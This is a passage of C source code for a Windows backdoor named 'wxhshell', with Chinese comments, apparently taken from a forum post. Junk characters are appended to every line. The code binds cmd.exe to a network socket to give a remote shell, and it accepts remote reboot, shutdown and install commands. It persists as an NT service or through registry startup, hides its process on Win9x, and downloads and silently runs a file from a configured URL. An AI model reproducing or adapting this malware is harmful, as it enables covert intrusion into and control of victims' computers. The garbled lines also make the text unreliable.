  %_E5B6xi{  
  // 帮助 66?`7j X  
  case '?': { ELwXp|L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _K#7#qp2  
    break; K7&]| ^M9  
  } ]  & ]G  
  // 安装 @TALZk'%  
  case 'i': { tQzbYzGb7  
    if(Install()) @M\JzV4 A[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C,W@C  
    else c:K/0zY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zdJPMNHg  
    break; Nt8"6k_  
    } \ *CXXp`  
  // 卸载 c_qox  
  case 'r': { )$^xbC#j`3  
    if(Uninstall()) 3/vtx9D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -`q!mdA2  
    else LBG`DYR@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z\tY A  
    break; Q+Nnj(AQY  
    } @~2k5pa  
  // 显示 wxhshell 所在路径 AIOGa<^  
  case 'p': { @] .s^ss9_  
    char svExeFile[MAX_PATH]; b$H bo;_   
    strcpy(svExeFile,"\n\r"); v>K|hH  
      strcat(svExeFile,ExeFile); ;0WAfu}#H  
        send(wsh,svExeFile,strlen(svExeFile),0); <T7@,_T  
    break; S<]k0bC  
    } Ia](CN*;6  
  // 重启 c= 2E/x?  
  case 'b': { C3 "EZe[R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <IR@/b!,  
    if(Boot(REBOOT)) qsp3G7\'=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vh Oh3  
    else { E~q3o*  
    closesocket(wsh); ]Qe~|9I  
    ExitThread(0); ,'c%S|]U7  
    } FiQ&g*=|  
    break; <tTNtBb  
    } 1<@lM8&.kO  
  // 关机 7vgRNzZoq  
  case 'd': { iOa<=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3SWDPy  
    if(Boot(SHUTDOWN)) z]g#2xD2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jy:@&c  
    else { n2*Ua/J-8  
    closesocket(wsh); CxaI@+  
    ExitThread(0); '*Y mYU  
    } =z5=?  
    break; 0D4 4  
    } N''xdz3Z  
  // 获取shell >;G_o="X  
  case 's': { L`M{bRl+1  
    CmdShell(wsh); !(bYh`Uy  
    closesocket(wsh); W9gQho%9b  
    ExitThread(0); }k AE  
    break; tx;2C|S$oU  
  } 3 a(SmM:  
  // 退出 A["6dbvv  
  case 'x': { GAH<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uu4! e{K  
    CloseIt(wsh); FBP # _"z  
    break; ~*h)`uM  
    } ,FYA*}[  
  // 离开 Q +hOW-  
  case 'q': { br0\O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); + ,]&&  
    closesocket(wsh); q:>`|~MX  
    WSACleanup(); DDIRJd<J  
    exit(1); "c~``i\G   
    break; zhE4:g9v  
        } Fc=F2Mo?  
  } or ~@!  
  } 7g8\q@',  
im>/$!&OyI  
  // 提示信息 `o_i+?E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i]zh8|">  
} g0~m[[  
  } ([JFX@  
3mE8tTA$R  
  return; s!09cS  
} ,EH-Sf2Cb  
Mf"(P.GIS  
// shell模块句柄 =S^vIo)  
int CmdShell(SOCKET sock) kdA]gpdw  
{ Z^F>sUMR  
STARTUPINFO si; N<(rP1)`v  
ZeroMemory(&si,sizeof(si)); ]%7m+-h@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yo5ged]i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZWFOC,)b  
PROCESS_INFORMATION ProcessInfo; 31g1zdT!  
char cmdline[]="cmd"; ^l(,'>Cn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j}h%, 7  
  return 0; {>R933fap  
} ][z!};  
WVyq$p/V  
// 自身启动模式 ?fU{?nI}>p  
int StartFromService(void) bMqS:+  
{ |Qpo[E }a  
typedef struct UWCm:eRQ  
{ *}r6V"pH~  
  DWORD ExitStatus; 5U_ar   
  DWORD PebBaseAddress; M;-FW5O't  
  DWORD AffinityMask; <+ <o X"I  
  DWORD BasePriority; ]~m=b` o  
  ULONG UniqueProcessId; UA0R)BH'  
  ULONG InheritedFromUniqueProcessId; >Y3zO2Cr  
}   PROCESS_BASIC_INFORMATION; ;%n(ARZ#  
$H,9GIivD  
PROCNTQSIP NtQueryInformationProcess; [eF|2:  
Y% [H:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &6Wim<*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R;/LB^X]  
2zjY|g/  
  HANDLE             hProcess; \<=.J`o{  
  PROCESS_BASIC_INFORMATION pbi; HRd02tah  
:OaGdL   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]_ y;Igaj  
  if(NULL == hInst ) return 0; Q|Pm8{8  
)6he;+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w/0;N`YB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9 Xh<vh8&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,(yaWd6  
8/9YR(H3H  
  if (!NtQueryInformationProcess) return 0; Yj>\WH  
toox`|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Im`R2_(]  
  if(!hProcess) return 0; ~r]$(V n  
>&qaT*_g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3A b_Z  
:rmi8!o  
  CloseHandle(hProcess); _ZuI x=!  
zy9W{{:P(1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =?B[oq  
if(hProcess==NULL) return 0; vinn|_s%  
L!W5H2Mc  
HMODULE hMod; 'Ya-;5Y]  
char procName[255]; KU0;}GSNX}  
unsigned long cbNeeded; PurY_  
cmLI!"RLe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); apm,$Vvjy  
6;\Tps;A  
  CloseHandle(hProcess); hcD.-(-;)  
iEBxBsz_  
if(strstr(procName,"services")) return 1; // 以服务启动 H,1I z@W1  
#fe zUU  
  return 0; // 注册表启动 52Q~` t7F  
} QTI^?@+N>  
Z5>}  
// 主模块 !:dhK  
int StartWxhshell(LPSTR lpCmdLine) ]O68~+6  
{ 62xAS#\K>  
  SOCKET wsl; nqujT8  
BOOL val=TRUE; 3rv~r0  
  int port=0; 3n TpL#  
  struct sockaddr_in door; V_Y2@4  
MW.,}f  
  if(wscfg.ws_autoins) Install(); !L' O")!3  
U| 1&=8l  
port=atoi(lpCmdLine); )RwO2H  
-+.-Ab7  
if(port<=0) port=wscfg.ws_port; H h;o<N>U  
R 9Y k9v  
  WSADATA data; yCye3z.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZltY_5l  
~D Ta% J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QcDtZg\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T`^LWc"  
  door.sin_family = AF_INET; IQ}YF]I;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F|W(_llfM  
  door.sin_port = htons(port); :j!N7c{  
+QFY. >KH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q\v^3u2;m`  
closesocket(wsl); bMF`KRP2  
return 1; 9RN! <`H  
} 2Y{r2m|o  
_M}}H3  
  if(listen(wsl,2) == INVALID_SOCKET) { |/p2DU2  
closesocket(wsl); /H[!v:U  
return 1; k;y5nXIlN  
} v/DWy(CC  
  Wxhshell(wsl); 5-X(K 'Q  
  WSACleanup(); s av  
aruT eJF  
return 0; 0--0+?  
>5=uq _QY  
} wrt^0n'r)c  
erZ%C <  
// 以NT服务方式启动 qw%wyj7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +q4AK<y-  
{ wpPCkfPyL  
DWORD   status = 0; 5U&?P   
  DWORD   specificError = 0xfffffff; &8wluOs/5  
3sq(FsT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J#& C&S 2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p^QB^HEV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q'awV5y  
  serviceStatus.dwWin32ExitCode     = 0; E#cZM>  
  serviceStatus.dwServiceSpecificExitCode = 0; .9;wJ9Bw[  
  serviceStatus.dwCheckPoint       = 0; 5%Q[X  
  serviceStatus.dwWaitHint       = 0; rN^P//  
7Cj6Kw5k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Tn8GLn  
  if (hServiceStatusHandle==0) return; qy|si4IU8,  
VjVL/SO/  
status = GetLastError(); %7bZnK`C  
  if (status!=NO_ERROR) LK[%}2me  
{ X>y6-%@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b}#ay2AR  
    serviceStatus.dwCheckPoint       = 0; u0& dDZ  
    serviceStatus.dwWaitHint       = 0; )D q/fW  
    serviceStatus.dwWin32ExitCode     = status; :.M"M$MRp8  
    serviceStatus.dwServiceSpecificExitCode = specificError; @z)_m!yV1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ${%*O}$  
    return; ~'l.g^p bv  
  } *b0f)y3RV  
P*;zDQy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !EQMTF=(  
  serviceStatus.dwCheckPoint       = 0; v(tr:[V  
  serviceStatus.dwWaitHint       = 0; h .$3 jNU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C6C7*ks  
}  Z,osdF  
|YAnd=$  
// 处理NT服务事件,比如:启动、停止 C7[CfcPA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [8QE}TFic  
{ pP6pn~ }  
switch(fdwControl) W=T}hA#`  
{ _:tisr{  
case SERVICE_CONTROL_STOP: \;G97o  
  serviceStatus.dwWin32ExitCode = 0; x p#+{}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "ujt:4 p@  
  serviceStatus.dwCheckPoint   = 0; |F 18j9  
  serviceStatus.dwWaitHint     = 0; yXx}'=&!0  
  { Qm\VZ<6/5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i`1QR@11  
  } G6b\4}E  
  return; n3kYVAgF  
case SERVICE_CONTROL_PAUSE: M6J/S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c*g(R.!  
  break; ]+B#SIC;  
case SERVICE_CONTROL_CONTINUE: V0h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >@BvyZ)i  
  break; jpCQ2XD:  
case SERVICE_CONTROL_INTERROGATE: .Lk2S "+  
  break; @9pk-BB^D  
}; wb }W;C@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0#mu[O  
} &\0`\#R  
u&>o1!c*P  
// 标准应用程序主函数 huau(s0um  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^r<bi%@C$  
{ rtz%(4aS  
>#RXYDd  
// 获取操作系统版本 [yF4_UoF  
OsIsNt=GetOsVer(); e ga< {t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :hp=>^$Y  
/L1qdkG  
  // 从命令行安装 .hCOi<wB  
  if(strpbrk(lpCmdLine,"iI")) Install(); v?\bvg\E  
@Ooh}V#J  
  // 下载执行文件 &zF1&J58z  
if(wscfg.ws_downexe) { *HwTq[y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;q&>cnLDR  
  WinExec(wscfg.ws_filenam,SW_HIDE); Iky'x[p,D  
} ,!f*OWnZ  
shlL(&Py  
if(!OsIsNt) { .jh uC#x{/  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xa2QtJq  
HideProc(); (l.`g@(L  
StartWxhshell(lpCmdLine); `bGAc&,&  
} sY t8NsQ  
else 3H%oTgWk  
  if(StartFromService()) > @ulvHL  
  // 以服务方式启动 P(W7,GD,k  
  StartServiceCtrlDispatcher(DispatchTable); /R< Q~G|\  
else ipEsR/O  
  // 普通方式启动 *fq=["O  
  StartWxhshell(lpCmdLine); $o`N%]  
eD*"#O)W  
return 0; ".qh]RVjV  
}
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只看该作者 1 发表于: 2006-10-10
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